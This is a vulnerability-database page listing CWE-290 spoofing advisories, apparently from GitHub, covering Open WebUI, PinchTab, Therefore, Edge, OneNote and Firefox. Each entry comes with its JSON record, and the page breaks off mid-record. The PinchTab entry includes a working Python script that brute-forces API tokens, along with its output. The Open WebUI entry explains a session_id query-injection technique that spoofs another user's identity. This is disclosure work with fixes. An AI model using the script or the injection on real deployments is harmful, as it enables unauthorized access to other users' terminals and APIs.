Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

1242 vulnerabilities reference this CWE, most recent first.

GHSA-J657-M4C4-24JQ

Vulnerability from github – Published: 2026-07-24 20:49 – Updated: 2026-07-24 20:49

Summary

Open WebUI: Terminal proxy forwards a spoofable, integrity-unbound user identity to the upstream (X-User-Id header and ws_terminal session_id query injection)

Details

Summary

The terminal proxy in backend/open_webui/routers/terminals.py forwards the Open WebUI user's identity to the upstream terminal server / backend coordinator as an authorization claim, with no cryptographic binding to the session that produced it. The forwarded identity is attacker-influenceable on both proxy paths:

HTTP path (proxy_terminal) sets headers['X-User-Id'] = user.id. Upstreams that trust X-User-Id as identity receive it unsigned, so an attacker who can reach the upstream by other means (directly, a compromised peer, SSRF) can spoof it.
WebSocket path (ws_terminal) is exploitable through Open WebUI itself, with no "other means" required. It interpolates the path parameter session_id directly into the upstream URL and then appends ?user_id=<caller>:

python upstream_url = f'{ws_base}/p/{policy_id}/api/terminals/{session_id}' upstream_url += f'?{urllib.parse.urlencode({"user_id": user.id})}'

session_id is neither validated nor URL-encoded (the HTTP sibling runs _sanitize_proxy_path; this path runs nothing). An encoded ?/& smuggled through session_id survives Open WebUI's single decode and is re-decoded by the upstream, injecting an attacker-chosen user_id ahead of the appended one. Query parsing binds the first occurrence, so the backend coordinator resolves the spoofed user's terminal scope.

Technical Details

The forwarded terminal identity is a bearer-style authorization claim with no integrity binding, and on the WebSocket path it is additionally injectable because session_id is concatenated into the URL without encoding or delimiter validation.

Impact

A normal authenticated user can make the terminal proxy present another user's identity to the upstream backend coordinator. On backend coordinator-backed (policy_id) servers that scope terminal containers by user_id, this reaches another user's terminal scope; combined with a known active session ID (for example a chat-scoped session ID surfaced through a shared chat), it allows attaching to that user's live PTY. The HTTP-path variant additionally allows identity spoofing at the upstream tier for any deployment whose upstream trusts X-User-Id.

Appendix: Affected code

backend/open_webui/routers/terminals.py — proxy_terminal sets headers['X-User-Id'] = user.id with no signature.
backend/open_webui/routers/terminals.py — ws_terminal builds the upstream URL from an unvalidated, unencoded session_id and appends user_id as a query parameter, allowing query injection.

Appendix: Consolidation

Per the Report Handling policy, this consolidates independent reports of the same root cause (the forwarded terminal identity is spoofable / not integrity-bound) into the earliest filing:

@smoke-wolf (earliest filing) — the X-User-Id HTTP-path identity is forwarded without integrity binding, spoofable where the upstream trusts the header.
@rexpository — the ws_terminal session_id query-injection vector, proving the forwarded user_id is spoofable through the Open WebUI proxy itself, with no "reach the upstream by other means" precondition.

Appendix: Recommended fix

Validate and URL-encode session_id before building the upstream URL (urllib.parse.quote(session_id, safe=""); reject ?, #, &, /, %, backslash, control characters). Build the query string with a URL builder so attacker-controlled path content cannot precede it.
Bind the forwarded identity instead of passing a raw user_id / X-User-Id: emit a short-lived signed claim (for example HS256 over {uid, iat, aud:server_id} with a key shared only with the specific upstream) and verify it upstream.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T20:49:57Z",
    "nvd_published_at": "2026-07-09T17:17:03Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe terminal proxy in `backend/open_webui/routers/terminals.py` forwards the Open WebUI user\u0027s identity to the upstream terminal server / backend coordinator as an authorization claim, with no cryptographic binding to the session that produced it. The forwarded identity is attacker-influenceable on both proxy paths:\n\n1. **HTTP path (`proxy_terminal`)** sets `headers[\u0027X-User-Id\u0027] = user.id`. Upstreams that trust `X-User-Id` as identity receive it unsigned, so an attacker who can reach the upstream by other means (directly, a compromised peer, SSRF) can spoof it.\n2. **WebSocket path (`ws_terminal`)** is exploitable through Open WebUI itself, with no \"other means\" required. It interpolates the path parameter `session_id` directly into the upstream URL and then appends `?user_id=\u003ccaller\u003e`:\n\n   ```python\n   upstream_url = f\u0027{ws_base}/p/{policy_id}/api/terminals/{session_id}\u0027\n   upstream_url += f\u0027?{urllib.parse.urlencode({\"user_id\": user.id})}\u0027\n   ```\n\n`session_id` is neither validated nor URL-encoded (the HTTP sibling runs `_sanitize_proxy_path`; this path runs nothing). An encoded `?`/`\u0026` smuggled through `session_id` survives Open WebUI\u0027s single decode and is re-decoded by the upstream, injecting an attacker-chosen `user_id` ahead of the appended one. Query parsing binds the first occurrence, so the backend coordinator resolves the spoofed user\u0027s terminal scope.\n\n## Technical Details\n\nThe forwarded terminal identity is a bearer-style authorization claim with no integrity binding, and on the WebSocket path it is additionally injectable because `session_id` is concatenated into the URL without encoding or delimiter validation.\n\n## Impact\n\nA normal authenticated user can make the terminal proxy present another user\u0027s identity to the upstream backend coordinator. On backend coordinator-backed (`policy_id`) servers that scope terminal containers by `user_id`, this reaches another user\u0027s terminal scope; combined with a known active session ID (for example a chat-scoped session ID surfaced through a shared chat), it allows attaching to that user\u0027s live PTY. The HTTP-path variant additionally allows identity spoofing at the upstream tier for any deployment whose upstream trusts `X-User-Id`.\n\n## Appendix: Affected code\n\n- `backend/open_webui/routers/terminals.py` \u2014 `proxy_terminal` sets `headers[\u0027X-User-Id\u0027] = user.id` with no signature.\n- `backend/open_webui/routers/terminals.py` \u2014 `ws_terminal` builds the upstream URL from an unvalidated, unencoded `session_id` and appends `user_id` as a query parameter, allowing query injection.\n\n## Appendix: Consolidation\n\nPer the Report Handling policy, this consolidates independent reports of the same root cause (the forwarded terminal identity is spoofable / not integrity-bound) into the earliest filing:\n\n- **@smoke-wolf** (earliest filing) \u2014 the `X-User-Id` HTTP-path identity is forwarded without integrity binding, spoofable where the upstream trusts the header.\n- **@rexpository** \u2014 the `ws_terminal` `session_id` query-injection vector, proving the forwarded `user_id` is spoofable through the Open WebUI proxy itself, with no \"reach the upstream by other means\" precondition.\n\n## Appendix: Recommended fix\n\n- Validate and URL-encode `session_id` before building the upstream URL (`urllib.parse.quote(session_id, safe=\"\")`; reject `?`, `#`, `\u0026`, `/`, `%`, backslash, control characters). Build the query string with a URL builder so attacker-controlled path content cannot precede it.\n- Bind the forwarded identity instead of passing a raw `user_id` / `X-User-Id`: emit a short-lived signed claim (for example HS256 over `{uid, iat, aud:server_id}` with a key shared only with the specific upstream) and verify it upstream.",
  "id": "GHSA-j657-m4c4-24jq",
  "modified": "2026-07-24T20:49:57Z",
  "published": "2026-07-24T20:49:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j657-m4c4-24jq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59224"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/26042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/5f3a628a8d291bb5d33e1a0b0c89fb62a2927934"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Terminal proxy forwards a spoofable, integrity-unbound user identity to the upstream (X-User-Id header and ws_terminal session_id query injection)"
}

GHSA-J65M-HV65-R264

Vulnerability from github – Published: 2026-03-24 19:47 – Updated: 2026-03-27 21:19

Summary

PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token

Details

Summary

PinchTab v0.7.7 through v0.8.4 contain incomplete request-throttling protections for auth-checkable endpoints. In v0.7.7 through v0.8.3, a fully implemented RateLimitMiddleware existed in internal/handlers/middleware.go but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.

In the same pre-v0.8.4 range, the original limiter also keyed clients using X-Forwarded-For, which would have allowed client-controlled header spoofing if the middleware had been enabled. v0.8.4 addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted /health and /metrics from rate limiting even though /health remained an auth-checkable endpoint when a token was configured.

This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses 127.0.0.1 plus a generated random token in the recommended setup.

PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.

This was fully addressed in v0.8.5 by applying RateLimitMiddleware in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the /health and /metrics exemption so auth-checkable endpoints are throttled as well.

Details

Issue 1 — Middleware never applied in v0.7.7 through v0.8.3: The production server wrapped the HTTP mux without RateLimitMiddleware:

// internal/server/server.go — v0.8.3
handlers.LoggingMiddleware(
    handlers.CorsMiddleware(
        handlers.AuthMiddleware(cfg, mux),
        // RateLimitMiddleware is not present here in v0.8.3
    ),
)

The function exists and is fully implemented:

// internal/handlers/middleware.go — v0.8.3
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ... 120 req / 10s logic ...
    })
}

Because RateLimitMiddleware was never referenced from the production handler chain in v0.7.7 through v0.8.3, the intended request throttling was inactive in those releases.

Issue 2 — X-Forwarded-For trust in the original limiter (v0.7.7 through v0.8.3): Even if the middleware had been applied, the original IP identification was bypassable:

// internal/handlers/middleware.go — v0.8.3
host, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
    // No validation that request came from a trusted proxy
    // Client can set this header to any value
    host = strings.TrimSpace(strings.Split(xff, ",")[0])
}
// host is now client-influenced — rate limit key is spoofable

In v0.7.7 through v0.8.3, if the limiter had been enabled, a client could have influenced the rate-limit key through X-Forwarded-For. This made the original limiter unsuitable without an explicit trusted-proxy model.

Issue 3 — /health and /metrics remained exempt through v0.8.4: v0.8.4 wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for /health and /metrics:

// internal/handlers/middleware.go — v0.8.4
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := strings.TrimSpace(r.URL.Path)
        if p == "/health" || p == "/metrics" || strings.HasPrefix(p, "/health/") || strings.HasPrefix(p, "/metrics/") {
            next.ServeHTTP(w, r)
            return
        }
        host := authn.ClientIP(r)
        // ...
    })
}

That left GET /health unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through v0.8.4.

PoC

This PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example password.

PoC Code

#!/usr/bin/env python3
# brute_force_poc.py — demonstrates unthrottled token guessing on /health
import urllib.request, urllib.error, time, sys

TARGET   = "http://localhost:9867/health"
WORDLIST = [f"wrong-{i:03d}" for i in range(150)] + ["password"]
counts = {}

print(f"[*] Brute-forcing {TARGET} — no rate limit protection")
start = time.time()
for token in WORDLIST:
    req = urllib.request.Request(TARGET)
    req.add_header("Authorization", f"Bearer {token}")
    try:
        with urllib.request.urlopen(req, timeout=5) as r:
            print(f"[+] FOUND: token={token!r}  HTTP={r.status}")
            counts[r.status] = counts.get(r.status, 0) + 1
            sys.exit(0)
    except urllib.error.HTTPError as e:
        print(f"[-] token={token!r}  HTTP={e.code}")
        counts[e.code] = counts.get(e.code, 0) + 1

elapsed = time.time() - start
print(f"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — "
      f"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)")
print(f"[*] status counts: {counts}")

After run

python3 ratelimit.py
[*] Brute-forcing http://localhost:9867/health — no rate limit protection
[-] token='wrong-000'  HTTP=401
...
[-] token='wrong-149'  HTTP=401
[+] FOUND: token='password'  HTTP=200
[*] 151 attempts in 0.84s — 180 req/s  (no 429 received)
[*] status counts: {401: 150, 200: 1}

Observation: 1. In v0.7.7 through v0.8.3, rapid requests do not return HTTP 429 because RateLimitMiddleware is not active in production. 2. In v0.8.4, the same /health PoC still does not return HTTP 429 because /health is explicitly exempted from rate limiting. 3. The PoC succeeds only when the configured token is weak and appears in the tested candidates. 4. The original X-Forwarded-For behavior in v0.7.7 through v0.8.3 shows that the first limiter design would not have been safe to rely on behind untrusted clients. 5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.

Impact

Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.
Loss of the intended per-IP throttling for burst requests against protected endpoints in v0.7.7 through v0.8.3, and against /health in v0.8.4.
Higher abuse potential for intentionally exposed deployments than intended by the middleware design.
This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.

Suggested Remediation

Apply RateLimitMiddleware in the production handler chain for authenticated routes.
Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.
Do not exempt auth-checkable endpoints such as /health and /metrics from rate limiting.
Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.

Screenshot capture ภาพถ่ายหน้าจอ 2569-03-18 เวลา 13 03 01

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.7"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:47:40Z",
    "nvd_published_at": "2026-03-26T21:17:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.\n\nIn the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured.\n\nThis issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup.\n\nPinchTab\u0027s default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.\n\nThis was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.\n\n### Details\n**Issue 1 \u2014 Middleware never applied in `v0.7.7` through `v0.8.3`:**\nThe production server wrapped the HTTP mux without `RateLimitMiddleware`:\n\n```\n// internal/server/server.go \u2014 v0.8.3\nhandlers.LoggingMiddleware(\n    handlers.CorsMiddleware(\n        handlers.AuthMiddleware(cfg, mux),\n        // RateLimitMiddleware is not present here in v0.8.3\n    ),\n)\n```\n\nThe function exists and is fully implemented:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.3\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        // ... 120 req / 10s logic ...\n    })\n}\n```\n\nBecause `RateLimitMiddleware` was never referenced from the production handler chain in `v0.7.7` through `v0.8.3`, the intended request throttling was inactive in those releases.\n\n**Issue 2 \u2014 `X-Forwarded-For` trust in the original limiter (`v0.7.7` through `v0.8.3`):**\nEven if the middleware had been applied, the original IP identification was bypassable:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.3\nhost, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP\nif xff := r.Header.Get(\"X-Forwarded-For\"); xff != \"\" {\n    // No validation that request came from a trusted proxy\n    // Client can set this header to any value\n    host = strings.TrimSpace(strings.Split(xff, \",\")[0])\n}\n// host is now client-influenced \u2014 rate limit key is spoofable\n```\n\nIn `v0.7.7` through `v0.8.3`, if the limiter had been enabled, a client could have influenced the rate-limit key through `X-Forwarded-For`. This made the original limiter unsuitable without an explicit trusted-proxy model.\n\n**Issue 3 \u2014 `/health` and `/metrics` remained exempt through `v0.8.4`:**\n`v0.8.4` wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for `/health` and `/metrics`:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.4\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        p := strings.TrimSpace(r.URL.Path)\n        if p == \"/health\" || p == \"/metrics\" || strings.HasPrefix(p, \"/health/\") || strings.HasPrefix(p, \"/metrics/\") {\n            next.ServeHTTP(w, r)\n            return\n        }\n        host := authn.ClientIP(r)\n        // ...\n    })\n}\n```\n\nThat left `GET /health` unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through `v0.8.4`.\n\n### PoC\nThis PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example `password`.\n\n**PoC Code**\n```\n#!/usr/bin/env python3\n# brute_force_poc.py \u2014 demonstrates unthrottled token guessing on /health\nimport urllib.request, urllib.error, time, sys\n\nTARGET   = \"http://localhost:9867/health\"\nWORDLIST = [f\"wrong-{i:03d}\" for i in range(150)] + [\"password\"]\ncounts = {}\n\nprint(f\"[*] Brute-forcing {TARGET} \u2014 no rate limit protection\")\nstart = time.time()\nfor token in WORDLIST:\n    req = urllib.request.Request(TARGET)\n    req.add_header(\"Authorization\", f\"Bearer {token}\")\n    try:\n        with urllib.request.urlopen(req, timeout=5) as r:\n            print(f\"[+] FOUND: token={token!r}  HTTP={r.status}\")\n            counts[r.status] = counts.get(r.status, 0) + 1\n            sys.exit(0)\n    except urllib.error.HTTPError as e:\n        print(f\"[-] token={token!r}  HTTP={e.code}\")\n        counts[e.code] = counts.get(e.code, 0) + 1\n\nelapsed = time.time() - start\nprint(f\"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s \u2014 \"\n      f\"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)\")\nprint(f\"[*] status counts: {counts}\")\n```\n\nAfter run\n```\npython3 ratelimit.py\n[*] Brute-forcing http://localhost:9867/health \u2014 no rate limit protection\n[-] token=\u0027wrong-000\u0027  HTTP=401\n...\n[-] token=\u0027wrong-149\u0027  HTTP=401\n[+] FOUND: token=\u0027password\u0027  HTTP=200\n[*] 151 attempts in 0.84s \u2014 180 req/s  (no 429 received)\n[*] status counts: {401: 150, 200: 1}\n```\n\n**Observation:**\n1. In `v0.7.7` through `v0.8.3`, rapid requests do not return HTTP 429 because `RateLimitMiddleware` is not active in production.\n2. In `v0.8.4`, the same `/health` PoC still does not return HTTP 429 because `/health` is explicitly exempted from rate limiting.\n3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.\n4. The original `X-Forwarded-For` behavior in `v0.7.7` through `v0.8.3` shows that the first limiter design would not have been safe to rely on behind untrusted clients.\n5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.\n\n### Impact\n1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.\n2. Loss of the intended per-IP throttling for burst requests against protected endpoints in `v0.7.7` through `v0.8.3`, and against `/health` in `v0.8.4`.\n3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.\n4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.\n\n### Suggested Remediation\n1. Apply `RateLimitMiddleware` in the production handler chain for authenticated routes.\n2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.\n3. Do not exempt auth-checkable endpoints such as `/health` and `/metrics` from rate limiting.\n4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.\n\n**Screenshot capture**\n\u003cimg width=\"553\" height=\"105\" alt=\"\u0e20\u0e32\u0e1e\u0e16\u0e48\u0e32\u0e22\u0e2b\u0e19\u0e49\u0e32\u0e08\u0e2d 2569-03-18 \u0e40\u0e27\u0e25\u0e32 13 03 01\" src=\"https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e\" /\u003e",
  "id": "GHSA-j65m-hv65-r264",
  "modified": "2026-03-27T21:19:20Z",
  "published": "2026-03-24T19:47:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-j65m-hv65-r264"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/commit/c619c43a4f29d1d1a481e859c193baf78e0d648b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token"
}

GHSA-J67P-5MWC-FRF9

Vulnerability from github – Published: 2025-10-31 12:30 – Updated: 2025-10-31 12:30

Details

Therefore Corporation GmbH has recently become aware that Therefore™ Online and Therefore™ On-Premises contain an account impersonation vulnerability. A malicious user may potentially be able to impersonate the web service account or the account of a service using the API when connecting to the Therefore™ Server. If the malicious user gains this impersonation user access, then it is possible for them to access the documents stored in Therefore™. This impersonation is at application level (Therefore access level), not the operating system level.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-11843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T10:15:35Z",
    "severity": "HIGH"
  },
  "details": "Therefore Corporation GmbH has recently become aware that Therefore\u2122 Online and Therefore\u2122 On-Premises contain an account impersonation vulnerability. A malicious user may potentially be able to impersonate the web service account or the account of a service using the API when connecting to the Therefore\u2122 Server. If the malicious user gains this impersonation user access, then it is possible for them to access the documents stored in Therefore\u2122. This impersonation is at application level (Therefore access level), not the operating system level.",
  "id": "GHSA-j67p-5mwc-frf9",
  "modified": "2025-10-31T12:30:20Z",
  "published": "2025-10-31T12:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11843"
    },
    {
      "type": "WEB",
      "url": "https://www.canon-europe.com/psirt/advisory-information"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J67R-3CM4-272W

Vulnerability from github – Published: 2024-06-13 21:30 – Updated: 2024-06-13 21:30

Details

Microsoft Edge (Chromium-based) Spoofing Vulnerability

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-30058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-357"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T20:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Edge (Chromium-based) Spoofing Vulnerability",
  "id": "GHSA-j67r-3cm4-272w",
  "modified": "2024-06-13T21:30:53Z",
  "published": "2024-06-13T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30058"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30058"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J6H3-42Q7-8PJM

Vulnerability from github – Published: 2023-11-07 00:30 – Updated: 2023-11-07 00:30

Details

Microsoft OneNote Spoofing Vulnerability

Severity

4.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-36769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-06T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft OneNote Spoofing Vulnerability",
  "id": "GHSA-j6h3-42q7-8pjm",
  "modified": "2023-11-07T00:30:32Z",
  "published": "2023-11-07T00:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36769"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36769"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J6QQ-7XP7-C5P5

Vulnerability from github – Published: 2024-02-20 15:31 – Updated: 2024-11-16 00:31

Details

When opening a website using the firefox:// protocol handler, SameSite cookies were not properly respected. This vulnerability affects Firefox < 123.

Severity

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-1555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-20T14:15:09Z",
    "severity": "HIGH"
  },
  "details": "When opening a website using the `firefox://` protocol handler, SameSite cookies were not properly respected. This vulnerability affects Firefox \u003c 123.",
  "id": "GHSA-j6qq-7xp7-c5p5",
  "modified": "2024-11-16T00:31:47Z",
  "published": "2024-02-20T15:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1555"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1873223"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J7HQ-XHJG-3W36

Vulnerability from github – Published: 2023-06-02 18:30 – Updated: 2024-04-04 04:30

Details

A lack of in app notification for entering fullscreen mode could have lead to a malicious website spoofing browser chrome.
This bug only affects Firefox Focus. Other versions of Firefox are unaffected.. This vulnerability affects Firefox < 110 and Firefox ESR < 102.8.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-25743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-02T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "A lack of in app notification for entering fullscreen mode could have lead to a malicious website spoofing browser chrome.\u003cbr\u003e*This bug only affects Firefox Focus. Other versions of Firefox are unaffected.*. This vulnerability affects Firefox \u003c 110 and Firefox ESR \u003c 102.8.",
  "id": "GHSA-j7hq-xhjg-3w36",
  "modified": "2024-04-04T04:30:14Z",
  "published": "2023-06-02T18:30:18Z",
  "references": [
    {
